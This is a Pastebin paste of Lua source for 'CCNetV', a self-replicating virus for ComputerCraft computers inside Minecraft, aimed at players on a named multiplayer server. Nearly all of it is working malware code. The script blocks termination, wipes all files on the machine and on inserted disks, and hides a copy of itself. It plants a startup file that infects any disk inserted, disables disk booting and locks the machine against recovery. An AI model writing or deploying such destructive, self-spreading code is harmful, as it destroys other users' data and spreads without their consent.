Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- -- CCNetV - A virus for CCNet (EpicCoderz server)
- -- by DESTROYER OF WORLDS
- local VERSION = "v1.1_2"
- --CHANGELOG
- --[[
- v1.1_2
- ---------
- - made virus turtle.dig() compatible
- v1.1_1
- ---------
- - hide replication file
- - disable "formatting" hdd by destroying and placing PC/Turtle block
- v1.1
- ---------
- - limitted replication
- - delete disk contents too
- - fancied up the output a bit
- - added pushing .nodisk - making the computer unrecoverable (besides mining it)
- v1.0
- ---------
- EVERYTHING
- ]]
- os.pullEvent = os.pullEventRaw
- print("Welcome to CCNet Virus "..VERSION.."!")
- --delete files on hdd
- if #fs.list("") > 0 then
- for i,file in ipairs(fs.list("")) do
- if file ~= "disk" and file ~= "rom" and file ~= "startup" and file ~= shell.getRunningProgram() then
- fs.delete(file)
- print("Deleting "..file.."...")
- end
- end
- --copy virus to hdd
- fs.copy(shell.getRunningProgram(), ".CCNetV")
- --delete files on disk
- if fs.exists("disk") then
- for j,diskfile in ipairs(fs.list("disk")) do
- if "disk/"..diskfile ~= shell.getRunningProgram() then
- fs.delete("disk/"..diskfile)
- print("Deleting disk/"..diskfile.."...")
- end
- end
- end
- --create startup file on hdd that spreads the virus to any disk inserted
- startup = fs.open("startup", "w")
- startup.writeLine('if fs.exists("disk") and fs.exists(".CCNetV") then')
- startup.writeLine(' fs.delete("disk/startup")')
- startup.writeLine(' fs.copy(".CCNetV", "disk/startup")')
- startup.writeLine('end')
- startup.writeLine('os.shutdown()')
- startup.close()
- --create .nodisk file on hdd, preventing disk booting
- nodisk = fs.open(".nodisk", "w")
- nodisk.write("")
- nodisk.close()
- --creates a label for the computer, blocking a hdd format by breaking and placing the block
- shell.run("label","set",":(")
- print("Thank you for your patronage!")
- print("This monitor will die forever in 10 seconds.")
- os.sleep(10)
- os.shutdown()
- end
Advertisement
Add Comment
Please, Sign In to add comment